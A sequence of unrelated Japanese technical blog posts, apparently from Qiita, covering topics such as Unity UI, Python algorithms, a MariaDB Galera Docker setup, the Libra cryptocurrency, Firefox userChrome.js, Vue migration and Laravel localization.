今後Discordアップデートがあった場合は再度これらをする必要があるかもしれない。
それでできなかったら詰み
Unityで一番中央に近いものが真ん中にくるあのUI作ってみた

2020/07/07、hatenablogに記事移行しました。

[Unity - 一番中央に近いものが自動で真ん中にくるあのUI作ってみた](https://mokapants.hatenablog.com/entry/2019/09/17/101415)
🎨 いらすとやの画像をランダムに取得する Ruby gem を作りました

## 概要

いらすとやからランダムに画像を取得します。それだけです ✌️
![](https://raw.githubusercontent.com/unhappychoice/irasutoya-cli/master/images/example.png)

https://github.com/unhappychoice/irasutoya-cli

<img src="https://github-link-card.s3.ap-northeast-1.amazonaws.com/unhappychoice/irasutoya-cli.png" width="450"/>

## インストール

```sh
$ gem install irasutoya-cli
```

## 使い方

```sh
irasutoya random
```

Mac で `iTerm2` を利用するか、 [libsixel](https://github.com/saitoha/libsixel) 対応かつインストール済みのターミナルであれば、ターミナル上で画像のプレビューを行えます :baby:

## 今後
- 特定のワードで検索するコマンドも追加予定 (👇のロジックのライブラリの方には実装済み
- https://github.com/unhappychoice/irasutoya
- <img src="https://github-link-card.s3.ap-northeast-1.amazonaws.com/unhappychoice/irasutoya.png" width="450"/>
## その他/関連

- ターミナル上での画像の表示にあたって [mattn/longcat](https://github.com/mattn/longcat)を参考にさせていただきました。
- Ruby に同様の機能の gem がなさそうだったため [unhappychoice/terminal_image](https://github.com/unhappychoice/terminal_image) をリリースしています。
- <img src="https://github-link-card.s3.ap-northeast-1.amazonaws.com/unhappychoice/terminal_image.png" width="450"/>
- [みんなにOSSを見てもらいたい人の為に、GitHubリポジトリのOGP的画像を自動生成してくれるサービスを作った](https://qiita.com/po3rin/items/eac851304cf058c532af) を利用させていただきました :pray:。
Invoke-Sqlcmdを使う

Powershellのオブジェクトとして各パーツを扱えるので便利な模様

## モジュールインストール

```
Install-Module -Name SqlServer
```

## クエリ実行

```
Invoke-Sqlcmd  -ServerInstance "test.database.windows.net" -Database "test" -Username "user" -Password "password" -Query "select @@version"
```

## 実行結果

```
Column1
-------
Microsoft SQL Azure (RTM) - 12.0.2000.8 ...
```
determine max_sum subarray(配列の中で任意の連続した要素を取り出す場合の最大値を求める)

##お題
整数がn個格納された配列(arr)が渡される(i.e. [3,-19,4,9,-9,3])
任意の連続した要素を取り出し最大値を求める。(i.e. 上記の場合は13となる。[4,9]の和)

## 自分が思いついた解法
・最初が負の値の場合、取り除きたいのでarr[0]からindexをインクリメントしていき、マイナスの値を除外し続ける。1以上の値が出現するまで繰り返す(ホントは全要素が負の数の場合を想定しないといけないが、今回は対象としない。)   
　　i.e. `[-2,-5,1,-4,9,3,-2,5] --> [1,-4,9,3,-2,5] `

・arr[i] > 0 からiをインクリメントしていき、current_sumに連続した要素の和を代入し、max_sumにcurrent_sumの最大値を代入する


#コード

```ruby:イケてな解法のコード
#色々駄目な部分が残っているので、真剣に読み解こうとすると時間の無駄になるので気をつけてください。
    i = 0
    while arr[i] <= 0:
        i += 1
        
    current_sum = 0
    max_sum = 0
    while i < len(arr):
        current_sum += arr[i]
        
        if current_sum > max_sum:
            max_sum = current_sum
            i += 1
            
            
        elif current_sum > 0:
            i += 1
            
            
        else:
            current_sum = 0
            i += 1
    
    
    return max_sum

```


## イケてる解法
 ・ コード見るだけで理解できるほど、スッキリしています。説明を書くよりコード見たほうが早いのですが、あえて説明すると、２つ変数を用意します。max_sumとcurrent_sumです。arr[0]を両方に代入します。初期値だと思ってください。
・indexを1からどんどんインクリメントしていきます。インクリメントする度に、arr[i]単体とcurrent_sumにarr[i]を足したもの、どちらか大きいものをcurrent_sumとします。次にcurrent_sumとmax_sumの大きいものをmax_sumとします。


##コード
```ruby:イケてる解法のコード
   max_sum = arr[0]
   current_sum = arr[0]

    for num in arr[1:]:
        #print("num is" + str(num))
        
        current_sum = max(current_sum + num, num)
        #print("current_sum is "+ str(current_sum))
        
        max_sum = max(current_sum, max_sum)
        #print("max_sum is "+ str(max_sum))
    return max_sum

```
Pythonの優先度付きキューで最大値を取得する [ABC141-D問]

# はじめに
本記事はAtCoder Beginner Contest 141 D問題の解法を含みます．
解説を見ずに自力で解くつもりの方はご注意ください．

# 前書き
ABC141のD問題「[Powerful Discount Tickets](https://atcoder.jp/contests/abc141/tasks/abc141_d)」を解きました．
問題を見ると，「値段A<sub>i</sub>のリストの中から最大値を取得してその品物に割引券を1枚適用する(半額にする)」という処理をM回繰り返せば最小の購入金額が求まりそうですが，そのまま愚直に実装したらTLEになってしまいました．

N個の品物の中から最大値を取得するには```O(N)```の計算量がかかるため，これをM回繰り返すと時間計算量は```O(NM)```になります．この問題では```N,M<=10**5```という制約があるため，MとNの値によっては実行時間を超過してしまいます．

このような問題では優先度付きキューを使用すると良いです．

# 優先度付きキュー
優先度付きキューとは，キューに対して要素を優先度付きで追加するデータ型で，ヒープ構造を持っています．
一般的な配列と比較して要素の参照が高速であることが特徴で，リスト内のデータの操作と最大値や最小値の取得を繰り返し行いたい場合に便利です．

優先度付きキューにおけるそれぞれの処理の計算量は以下の通りです．

|       処理     | 計算量 |
|     ------    | ----- |
| リストのヒープ化 |  O(N) |
|   要素の追加    |O(logN)|
|   要素の削除    |O(logN)|
|   最小値の取得  |  O(1) |

# heapq
Pythonでは標準ライブラリである```heapq```モジュールが優先度付きキューのアルゴリズムを提供しているので，

```python
import heapq
```

で使用できます．


heapqのよく使うメソッドは以下の3つです．

```python
heapq.heapify(a) #リストaを優先度付きキューに変換(ヒープ化)する
heapq.heappush(a,x) #ヒープ化されたリストaに要素xをプッシュする
heapq.heappop(a) #ヒープ化されたリストaから最小の要素をポップする
```

heapqの使用例を以下に示します．

```python
import heapq

a = [2, 13, 8]
heapq.heapify(a) #リストのヒープ化
print(a)

heapq.heappush(a,5) #プッシュ
print(a)

print(heapq.heappop(a)) #最小値の取得と表示
print(a)
```

```python:出力
[2, 13, 8]
[2, 5, 8, 13]
2
[5, 13, 8]
```

# heapqで最大値を取得する
heapqでは最小値の取得しかできません．
heapqで最大値を取得したい場合は，全要素を-1倍してから最小値を取得し，再度-1倍する必要があります．

```python
import heapq

a = [2, 13, 8]
print(a)

a = list(map(lambda x:x*(-1), a)) #各要素を-1倍
heapq.heapify(a) #リストのヒープ化
print(a)

print(heapq.heappop(a)*(-1))  #最大値の取得と表示
print(a)
```

```python:出力
[2, 13, 8]
[-13, -2, -8]
13
[-8, -2]
```

# ABC141のD問題の解答例
冒頭で述べたABC141のD問題はheapqを使用することでTLEすることなく解けます．

```python
import heapq

N,M = map(int, input().split())
A = list(map(lambda x:int(x)*(-1), input().split())) #-1倍してからリストに格納
heapq.heapify(A) #優先度付きキューに変換

for _ in range(M):
	max_value = heapq.heappop(A)*(-1) #最大値の取得
	heapq.heappush(A, (max_value//2)*(-1)) #半額にして-1倍してからキューに戻す
	
print((-1)*sum(A)) #最後に-1倍を忘れずに
```

# おわりに
閲覧ありがとうございました．
AtCoderではしばしば複数回のソートや要素の操作と最大値or最小値の取得が要求される問題があり，リストを使った実装ではTLEしてしまう問題でも優先度付きキューを使えばACできる場合があります．
MariaDB Galera ClusterをDockerで動かしてみる

CentOS 7
MariaDB 10.4.12

```:フォルダ構成
|--docker-compose.yml
|--dockerfiles
|  |--cluster
|  |--cluster.cnf
|  |--mariadb.repo
```

MariaDB 10.4でgaleraのバージョンが4になったため「galera」ではなく「galera-4」を指定

```:/dockerfile/cluster
FROM centos:7
ADD mariadb.repo /etc/yum.repos.d/mariadb.repo
RUN rpm --import https://yum.mariadb.org/RPM-GPG-KEY-MariaDB \
    && rpm --import https://www.centos.org/keys/RPM-GPG-KEY-CentOS-7 \
    && yum install -y -q MariaDB-server MariaDB-client galera-4 sudo 

ADD cluster.cnf /etc/my.cnf.d/my.cnf
```
galera4のパスが異なるため「wsrep_provider」の指定で、
「galera」のところを「galera-4」にしています

```/dockerfile/cluster.cnf
[mysqld]
default_storage_engine=InnoDB
log-bin=/var/lib/mysql/mysql-bin-log
binlog_format=ROW
innodb_autoinc_lock_mode=2
innodb_doublewrite=1
transaction-isolation = READ-COMMITTED
innodb_flush_log_at_trx_commit=0

[galera]
wsrep_on=ON
wsrep_provider=/usr/lib64/galera-4/libgalera_smm.so
wsrep_cluster_name=DBCLUSTER
wsrep_sst_method=rsync
wsrep_slave_threads=2
wsrep_cluster_address=gcomm://node-1,node-2,node-3
```

```/dockerfile/mariadb.repo
[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/10.4.12/centos7-amd64
gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck=1
```

```docker-compose.yml
version: "3.7"
services:
  node-1:
    build:
      context: ./dockerfiles
      dockerfile: cluster
    ports:
      - "4001:3306"
    command: sudo -u mysql mysqld --wsrep-new-cluster

  node-2:
    build:
      context: ./dockerfiles
      dockerfile: cluster
    ports:
      - "4002:3306"
    links:
      - node-1
    command: sudo -u mysql mysqld

  node-3:
    build:
      context: ./dockerfiles
      dockerfile: cluster
    ports:
      - "4003:3306"
    links:
      - node-1
    command: sudo -u mysql mysqld
```

```
$ docker-compose up -d

$ docker-compose exec node-1 mysql -e "create database test_db"
$ docker-compose exec node-2 mysql -e "show databases"
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| test               |
| test_db            |
+--------------------+

$ docker-compose exec node-3 mysql -e "show databases"
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| test               |
| test_db            |
+--------------------+
```
Facebookの仮想通貨「Libra」について簡単にまとめる

# はじめに

2019年6月18日にフェイスブックが発表した仮想通貨「Libra」はフェイスブックの子会社であるCilibraや、ITサービス団体UberやSpotify, 大手金融マスターカードやVISAなどの企業を協力団体とし、2020年にローンチ予定と発表した。これは銀行口座を持たない貧しい人々でさえも簡単に利用でき、世界規模で送金や購入を実現するデジタル通貨とする。

# Libraとは
libraとはビットコインのように価値の保存が中心となっている一方で決済用に運用されることを目的としている。ブロックチェーン技術を用いることで安全性の確保と、リザーブ（準備資産）によってlibraの価値を維持し、簡単に低コストで送金が可能なウォレットアプリでの運用、管理がされている。世界で銀行口座を持たない人は17億人と言われているため、安全性や利便性を担保し、数億人のユーザーが日常的に利用できる金融プラットフォームを目指している。

# 通貨としての安全性
- ビットコインとLibraのの違い
ビットコインは決済や送金を想定した仮想通貨ではなく、非中央集権型で価値の移転を再現し、価値の変動が激しく株と同じように値上りを期待して保持しているのが中心とされている。一方libraはビットコインのような仮想通貨とは異なり価値変動を複数の資産に依存するステーブルコインとして扱われている。ステーブルコインとはボラティリティを無くし、価格が安定した通貨のことを言います。ではどのようにして価値の安定性を保っているのでしょうか。結論から言うとlibraは法定通貨の価値に準拠するステーブルコインとしての特徴を持つからである。libraは通貨バスケットと呼ばれるドル、ユーロ、円、ポンドやその他の法定通貨や国際を相応の構成比で組み入れた「バスケット」である。この構成比とその時の相場から加重平均を計算し、
Libraの価格が定まると言う。libraはドルやユーロ、円、ポンドなどの複数の法定通貨に依存しているため価格がビットコインのように大幅の上昇や下降することがない。またlibraコインの購入時に支払った資産は法定通貨や国債など変動リスクの少ない資産に分散投資される（これをリザーブ資産と言う）ため価値の一定を保つ。

# 独自言語「Move」とHotStuffベースのコンセンサスアルゴリズム「LibraBFT」

独自言語「Move」はカスタムトランザクションとスマートコントラクトの実装に使われる実行可能なバイトコード言語である。この言語はRust言語で作られていてコンパイラを通すとバーチャルマシンで直接実行できるバイトコードを生成する。この構成はEthereumの実行で用いられるsolidityに似ている。solidityはEVM(Ethereumバーチャルマシン)で実行する前に別途プログラミング言語とバイトコードへのコンパイラを使用して行うため、Ethereumとは少し異なっていて、またsolidityよりも柔軟に設計が可能である。またこの言語は過去のセキュリティ問題を分析して、安全性、セキュリティを十分に考慮し設計された。
LibraBTFはHotStuffという高いスケーラビリティとセキュリティ水準を実現するコンセンサスアルゴリズムに基づいるBFTアルゴリズムである。BTFアルゴリズムとはByzantine Fault Toleranceの略であり、通信間のエラーや個々のオブジェクトの故障などで生じる誤った情報が伝達する可能性がある場合に全体として正しい合意を形成を行えることをいう。これにより信頼性のある分散型コンピューティングを実現し、高水準セキュリティによる基盤を作ることができる。
次にLibraBFTコンセンサスアルゴリズムの技術的アプローチ。LibraBFTではLibra協会に属するメンバーにより構成されたバリデーターのネットワークである。ラウンド毎に参加しているバリデーターからリーダーとして選出し、そのリーダーがトランザクションからなるブロックを提案し残りのバリデーター全てがそのトランザクションの整合性を確認し、ブロックの承認を得る。この時、過半数による承認が得られればブロックの承認が取れたことになる。つまり1/3が悪意的な行動をとったとしても、2/3が正常ならば、コンセンサスを取れる。またリーダーが過半数を取れなかった場合、タイムアウトルールが適応され、別のバリデーターが選ばれる。この方法によってトランザクションを含むブロックがブロックチェーンに追加される。

#リブラ・アソシエーションによる集団合意
libraは独自のブロックチェーン、仮想通貨を開発している。これはビットコインのような分散型ではなく、フェイスブック、Uber、ペイパルのようなLibra協会によるノードで処理されるため非中央集権型ではないように見える。一部からは「Libraはブッロクチェーンによる仮想通貨とは言えない」という指摘も上がっている。これに対しフェイスブックは、ノードの代替性を認めつつも、初期段階は信頼のあるノードでサービス運用することが重要と主張。ここで言う信頼のあるノードとはVISAような強力な決済ネットワークのことであり、これを使えば取引速度が他のノードよりも数十倍であるため速度と規模十分な余裕をもち、サービスを運用可能。だがこの先libra協会の加入の増加に伴い、「許可型」から「非許可型」への分散化に努力を進める必要があると述べている。
##まとめ
もしLibraの普及の拡大が増し、ドル、円、ユーロといった法定通貨が多くの人々によって使われなった場合、送金や品物の購入は簡単であり、仲介を通す間接的ではなく直接的なやりとりであるため無駄な手数料も取られずに便利だとは思うが、フェイスブックからなるLibra協会によるノードでしか処理されないため、フェスブックがデジタル通貨において広大な支配を得るし、またそれに対して今後Amazonやappleによるデジタル通貨とも競合すると思うと、今のうちからブロックチェーンの技術やビットコインなどの情報を得て学ぶことは世界のトレンドについていくためには必要だなと感じた。

#追記
今回初投稿であり初めてブロブを書いたのでまとめるのが下手だったり、もしかしたら日本語がおかしい点があると思いますが、これからもっと勉強していきますのでよろしくお願いします。
リッチな背景アニメーションを描画できるライブラリ『Vanta.js』

国内ではまだ紹介している記事が無いようなので、メモも兼ねて紹介します。

## DEMO
<p class="codepen" data-height="392" data-theme-id="dark" data-default-tab="js,result" data-user="loki__codepen" data-slug-hash="vYBzYRa" style="height: 392px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="Cool UI - Vanta.js  Fog">
  <span>See the Pen <a href="https://codepen.io/loki__codepen/pen/vYBzYRa/">
  Cool UI - Vanta.js  Fog</a> by Loki (<a href="https://codepen.io/loki__codepen">@loki__codepen</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

<p class="codepen" data-height="381" data-theme-id="dark" data-default-tab="js,result" data-user="loki__codepen" data-slug-hash="WNegbrw" style="height: 381px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="Cool UI - Vanta.js  Bird">
  <span>See the Pen <a href="https://codepen.io/loki__codepen/pen/WNegbrw/">
  Cool UI - Vanta.js  Bird</a> by Loki (<a href="https://codepen.io/loki__codepen">@loki__codepen</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

こんな感じのものが作成できます！
他にもたくさんバリエーションがあるので、公式のページから見てみてください。

> Vanta.js - 3D & WebGL Background Animations For Your Website
> https://www.vantajs.com/

## ブラウザ対応状況
IE11には対応していないみたいです。
Edgeは問題なく表示されました。

## 参考URL
> GitHub
> https://github.com/tengbao/vanta

---
Twitterのフォロワーを募集しております！
すでにWeb業界にいらっしゃる方や、業界未経験の方、どんな方でも募集しておりますので、どうぞよろしくお願いいたします(\*^^\*)

Twitter - https://twitter.com/loki__tweet
ディープラーニングがなぜうまく学習できるようになったのか？

# はじめに
ディープラーニング（＝多層ニューラルネットワーク）の考え方自体は昔からあったようだけど
なぜ最近になるまで注目されなかったのか？
何か問題があったのか？その問題は何か？を調べた。

# 参考URL
https://blog.albert2005.co.jp/2016/08/24/deeplearning%E3%81%8C%E3%81%AA%E3%81%9C%E3%81%86%E3%81%BE%E3%81%8F%E5%AD%A6%E7%BF%92%E5%87%BA%E6%9D%A5%E3%82%8B%E3%81%AE%E3%81%8B/

# ディープラーニングは何か問題があったのか？
これは実際に問題あったそうです。
従来、多層ニューラルネットワークにすると
　- 勾配消失
　- 過学習
　- 鞍点の増加
が発生するため、うまく学習ができなかったそうです。

また、多層なのでシンプルにメモリと計算量を大量に消費するので
性能が追い付いてこない、という問題もあったようです。

# じゃあ、どうやって問題が解消できたの？
　勾配消失や過学習に対してReluやDropoutなどの手法を適用することで
　層を深くし、パラメタ数を多くする事が可能になったそうです。
　でも、これだけでは鞍点の増加は避けられないそうですが、
　そこは、学習係数係数を一定としてmomentumSGDやより賢い最適化関数を
　使用することで解決できたそうな。

　また、CPU、メモリも高性能化したことでこれも問題解消の一助となったようです。

# おわりに
うまくいかない理由を知ることで、多層にすればいいってもんでもないんだな、ということが
理解できてとてもスッキリ。
それにしても参考サイトがとてもよく整理されているおかげでわかりやすかった。
正規分布

#正規分布
- 正規分布(ガウス分布)とは、左右対称な連続型の確率分布。
- 正規分布は最も代表的な分布の一つ。例として、実験における測定誤差、テストの点数などは正規分布に従うことが多い。
- また、コイン投げのように、反復思考の成功回数が従う確率分布も正規分布になる。

#正規分布の確率密度関数
```math
f(x) = \frac{1}{\sqrt{2\pi}σ}e^{\frac{-(x-μ)^2}{2σ^2}} \\
```
正規分布の確率密度関数は、上記です。平均はμ、分散はσ^2です。
(Python Selenium) 別Windowが閉じたのを感知する


## 別Windowが閉じたのを感知する
「ボタンクリックで別ウィンドウを開き、処理が終わったところでウィンドウが閉じる」といった処理を自動化したくなり、別Windowが閉じたのを感知する処理を調査しました。


## 実装方法:別ウィンドウ内の要素の存在が無くなったことを感知する

別ウィンドウ内の要素として常に表示されているものをdriver.find_element_by_nameし続けて、初回以降に取得に失敗するまで繰り返すことで、ウィンドウが消えたことを感知できました。

```actionModule.py
from selenium.webdriver.chrome.webdriver import WebDriver

def waitForWindowToBeClosed(driver:WebDriver, targetWindowIndex=1,nameAsMarkWindowExisting:str):
    driver.switch_to.window(driver.window_handles[targetWindowIndex])
    driver.find_element_by_name(nameAsMarkWindowExisting)

    while True:
        try:
           driver.find_element_by_name(nameAsMarkWindowExisting)
        except Exception:
            break
    driver.switch_to.window(driver.window_handles[0])
```

これで別windowが閉じるまで待つ処理が実装出来ました。

以上です。
Firefox Quantum 以降でも userChrome.js を使う

## userChromeJS とは

[userChromeJS](http://userchromejs.mozdev.org/) は任意のユーザスクリプトを導入することで Firefox の Chrome[^1] をカスタマイズするための拡張機能**でした**。この拡張機能は Firefox Quantum （Firefox v57以降）には対応していません。[userChromeJS Mozillazine thread](http://forums.mozillazine.org/viewtopic.php?f=48&t=1006795) で開発が行われていましたが、現在はスレッドがクローズされています。

[^1]: Firefox の GUI 部分。[クロムめっき](https://en.wikipedia.org/wiki/Chrome_plating)（英: *Chrome Plating* または単に *Chrome*）が語源であるのか、そして Google Chrome の名付けに影響があったかについては諸説あります。

## firefox-quantum-userchromejs を利用する

*firefox-quantum-userchromejs は 2020-01-07 に公開された Firefox 72 以降は動作しなくなりました。詳しくは[こちら](https://github.com/nuchi/firefox-quantum-userchromejs)*

----

上記スレの末尾で言及されていますが、[nuchi](https://github.com/nuchi/) さんが [firefox-quantum-userchromejs](https://github.com/nuchi/firefox-quantum-userchromejs) レポジトリに userChromeJS の後継案を公開しています。拡張機能ではなく、ファイルを指定のディレクトリに配置して利用します。詳細な利用法は [ReadMe](https://github.com/nuchi/firefox-quantum-userchromejs/blob/master/README.md) に譲りますが、以下に簡単な説明を記載します。

### `userChrome.css` と `userChrome.xml` を入手する

上記のレポジトリから以下のファイルを入手してください；

* [userChrome.xml](https://raw.githubusercontent.com/nuchi/firefox-quantum-userchromejs/master/userChrome.xml)
* [userChrome.css](https://raw.githubusercontent.com/nuchi/firefox-quantum-userchromejs/master/userChrome.css)

なお Firefox のアップデートに従って随時更新されていくので、導入後に動作が怪しくなった場合はレポジトリに更新がないか確認してください。

### 使用中のプロファイルの場所を見つける

[about:profiles](about:profiles) を開きます。使用中のプロファイルを探し、ルートディレクトリを開きます。

![openProfile.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/463374/acda06a3-273c-6bcb-8fef-8434732ef8c4.jpeg)


### `userChrome.css` と `userChrome.xml` を配置する

プロファイルディレクトリに `chrome` という名前のディレクトリを作成し、 `userChrome.css` と `userChrome.xml` を配置します。既に `chorme/userChrome.css` が存在した場合は追記してください。

### userChrome.js を作成する

`chrome` ディレクトリに `userChrome.js` を作成し、任意のユーザスクリプトを記述してください。

## 動作原理

Firefox は既定で `chrome/userChrome.css` を読み込みます。今回追記した `userChrome.css` は、 `-moz-binding` 要素を利用して `userChrome.xml` の id が `js` な要素を Firefox の UI 要素（執筆時のバージョンでは `toolbarbutton#alltabs-button` ）にバインドします。そしてこの `userChrome.xml` の該当箇所には `userChrome.js` を読み込み、動作させるための JS が記述されています。JS を XML の中に仕込んで CSS から無理矢理読み込ませているのは発想の勝利という感があります……。こういう仕組みなので Firefox 側の UI 要素の名前が変わったりすると対応が必要になります。

## 参考リンク

* [nuchi/firefox-quantum-userchromejs](https://github.com/nuchi/firefox-quantum-userchromejs)
* [firefox用スクリプトアップローダー](https://u6.getuploader.com/script/)
* [userChrome.js用スクリプト](http://wiki.nothing.sh/page/userChrome.js%CD%D1%A5%B9%A5%AF%A5%EA%A5%D7%A5%C8)
* [Firefoxを鍛え直せ！　フォクすけブートキャンプ：第4日目：クラフトマンシップを持て――userChrome.js](https://www.itmedia.co.jp/enterprise/articles/0708/04/news012.html)
Riot.js(v3)からVue.jsに移行する

# はじめに
初めて投稿させていただきます。

Riot.js(v3)を使用していたのですが以下の理由から移行を考えました。
・Riot.js(v4)へのバージョンアップで記法がVue.jsに寄る
・Nuxt.jsの静的サイトジェネレートによる初期表示の速度改善

Riot.jsのユーザーが多くないので需要があるかが不安ですが宜しくお願いいたします・・・

## カスタムイベント
```javascript
// Riot.js(v3)
this.on(EVENT_NAME, callback);
this.one(EVENT_NAME, callback);
this.trigger(EVENT_NAME, PROPS...);

// Vue.js
this.$on(EVENT_NAME, callback);
this.$once(EVENT_NAME, callback);
this.$emit(EVENT_NAME, PROPS...);
```

## ライフサイクルフック

```javascript
// Riot.js(v3)
this.on('mount', callback);

// Vue.js
this.$on('hook:mounted', callback);
```

## DOMの更新後
```javascript
// Riot.js(v3)
this.one('updated', callback);

// Vue.js
this.$nextTick(callback);
this.$nextTick().then(callback);
```

## 変数の更新
```javascript
// Riot.js(v3)
this.valiable = newValue;
this.update();

// Vue.js
this.valiable = newValue; // updateされる
```

## リストレンダリング
```html
<!-- Riot.js(v3) -->
<virtual each={item, index in list}></virtual>

<!-- Vue.js -->
<template v-for="(item, index) in list"></template>
```

## 条件付きレンダリング
```html
<!-- Riot.js(v3) -->
<virtual if={isVisible}></virtual>

<!-- Vue.js -->
<template v-if="isVisible"></template>
```

# 終わりに
間違っている点や感想などコメントしていただけると幸いです。
お読みいただきありがとうございました。
EC2のLaravel6.0環境に入れたauth(認証機能)を日本語化する　AWS/Laravel連載(6)

# はじめに

前回の記事で、Laravel6.0にauthを入れました。
[EC2のLaravel6.0環境にauth(認証機能)を入れる　AWS/Laravel連載(5)](https://qiita.com/rf_p/items/d4c0eb4e21fb92618cf6)

しかし全部英語なので、日本語化していきましょう。

<img width="1185" alt="login_after.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/199678/d1a02a69-7996-91b9-96f3-baea6b217d53.png">

Laravel5系の記事ですが、こちらを参考にさせていただきました。ありがとうございます。
参考記事：[Laravelのデフォルトログイン処理でエラーメッセージを日本語にしたい](https://qiita.com/sasakure-kei@github/items/93f95d5d37d4d9ddfcb6)

# 前回記事引用　まずはアプリケーションの日本語化

今回直接関連してくるのはlocale => jaのみかと思いますが、一緒に他の項目も日本語化しておきましょう。

```php:config/app.php
...
    'timezone' => 'Asia/Tokyo',
...
    'locale' => 'ja',
...
    'fallback_locale' => 'ja',
...
    'faker_locale' => 'ja_JP',
```

# 画面上のテキストをまず日本語化

アプリケーションの名前を.envで設定します。

```.env
APP_NAME=マイブログ
```

するとtitleタグや、ページ左上のブランドタイトルが変わります。

次に、「Login」「Register」「E-Mail Address」等のラベルやメニュー部分がどのように記述されているか確認しましょう。

```php:resources/views/auth/login.blade.php
...
<div class="card-header">{{ __('Login') }}</div>
...
  <label for="email" class="col-md-4 col-form-label text-md-right">{{ __('E-Mail Address') }}</label>
...
   <label for="password" class="col-md-4 col-form-label text-md-right">{{ __('Password') }}</label>
...
```

{{__('文字列')}}という変わった書き方をされています。

ここは多言語対応された書き方なので、resources/lang/ja.jsonというファイルを作成し、以下内容で保存すると日本語に置き換わります。

```json:resources/lang/ja.json
{
    "Login": "ログイン",
    "Register": "新規登録",
    "Forgot Your Password?": "パスワードを忘れた場合",
    "Reset Password": "パスワード再設定",
    "Send Password Reset Link":  "パスワード再設定URLを送信",

    "Name": "お名前",
    "E-Mail Address": "メールアドレス",
    "Password": "パスワード",
    "Confirm Password": "パスワード(確認用)",
    "Remember Me": "ログイン状態を保存"
}
```

<img width="1165" alt="ja.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/199678/bdea90b5-90ae-4e2a-d0cb-792765bbff0f.png">

# バリデーション系のファイルを配置

resources/lang/en/ディレクトリにエラーメッセージの英文ファイルがあります。
resources/lang/ja/ディレクトリに同名ファイルを配置すると日本語化できます。

ただしQiitaに長々と書くと、かなり長いページになるのでGithubに公開しました。
以下ファイルを配置してください。

https://github.com/rfdnxbro/laravel6.0_auth_Japanese/

導入成功すると、以下のようになります。

<img width="506" alt="pass.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/199678/350514e0-b94a-1a71-948d-5c6e580006b7.png">

本日は以上です。
pythonエラー対処[bs4.FeatureNotFound]

# はじめに
Pythonでクローリングを試そうと思い、`BeautifulSoup`を使うことにしたところ、`bs4`に関するエラーが発生しました。

今後のためも兼ねて備忘録的に載せます、よかったら役立ててください。

# エラー内容
`BeautifulSoup`を含むPythonスクリプトを実行する際に以下のエラーが発生しました。

```sh:error
bs4.FeatureNotFound: Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?
```

# 解決方法
## 1.依存パッケージをインストール
以下のコマンドを実行することでエラーが解消される。

```sh:solution
pip3 install lxml
```

## 2.依存パッケージをインストール
コメントからのアドバイスで、Python標準のパーサを使用すると良いとのこと。使用例は以下。

```python:use_html.parser
BeautifulSoup(markup, "html.parser")
```

# 参考
- http://kondou.com/BS4/#id10
    - bs4のパーサ指定の方法
【Rails】Googleアドセンスのads.txtファイルをどこに置けば良いか

アドセンスのページを見たら、以下のような警告が。

<img width="1051" alt="スクリーンショット 2019-09-17 0.23.43.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/266250/330ed793-2ffe-67c7-9eb1-fea881c44f37.png">

<img width="929" alt="スクリーンショット 2019-09-17 0.25.12.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/266250/3402d233-8f98-4d7a-d9c2-7bcdf444a418.png">

どうやらこの前開発した[力価計算.com](https://rikika-keisan.com)というWebサービスにads.txtというファイルをアップロードしないといけないらしい。

そこで備忘録として、対処法をまとめてみました。

##ステップ１：ads.txtをダウンロード
<img width="929" alt="スクリーンショット 2019-09-17 0.25.12.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/266250/3402d233-8f98-4d7a-d9c2-7bcdf444a418.png">

まずダウンロードボタンをクリックして、ads.txtダウンロードをしましょう。


##ステップ2：Railsアプリ内のpublicフォルダへ設置
ダウンロードしたads.txtファイルをRailsアプリ内のpublicフォルダに設置します。
設置したらデプロイしてください。

##ステップ3：ads.txtがアップロードできた確認
僕の場合は
https://rikika-keisan.com
にアップロードしたので、


https://rikika-keisan.com/ads.txt
にアクセス。

以下のように表示されていれば成功です。

<img width="441" alt="スクリーンショット 2019-09-17 0.39.24.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/266250/d5dd58db-27ec-65fe-340e-ff446ecae399.png">

##まとめ
警告がきて驚きましたが、すぐ対処できてよかったです。
ちなみに、警告はすぐに消えるわけじゃなく、数時間したら自然と消えていました。
【SubstancePainer】アニメーションするシェーダーを作る

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/8302/54b1314f-4961-ff4e-c8b0-889b91098044.png)

あまり知られていませんが、Substance Painter のビューポートでは カスタマイズした glsl シェーダーを動かす事ができます。といっても 制限のあるフラグメントシェーダーだけしか動かせませんが、、ベースカラー・ハイト・メタルネスなどの PBR 系、ユーザー追加チャンネルの画像データ、さらには事前べイク系の AO や Cavity なども簡単にアクセスできたり、いじるのはなかなか楽しいです。

先日はフローマップのシェーダーを書いていたのですが、主要な部分はとりあえずできたものの、Unity のように現在の時間を表す変数を使ってアニメさせる方法がわかりません。調べたところ、現在の時間が渡されるような仕組みは現在 (Ver. 2019.2.0) のところ 残念ながら無いようです。

オフィシャルのフォーラムの投稿に関連投稿がありました。QML を使って作るプラグイン側から強制的にアニメさせる事ができるようです。
https://forum.substance3d.com/index.php/topic,27203.msg109316/highlight,shader+time.html#msg109316

シェーダーの変数をintervalで更新してあげる感じですね。ということで、そちらを参考に、もうちょっと汎用的なプラグインを作りました。

* 複数のシェーダーの速度をまとめてコントロールできる
* FPSも可変にできる
* シェーダーの変数名も可変にできる

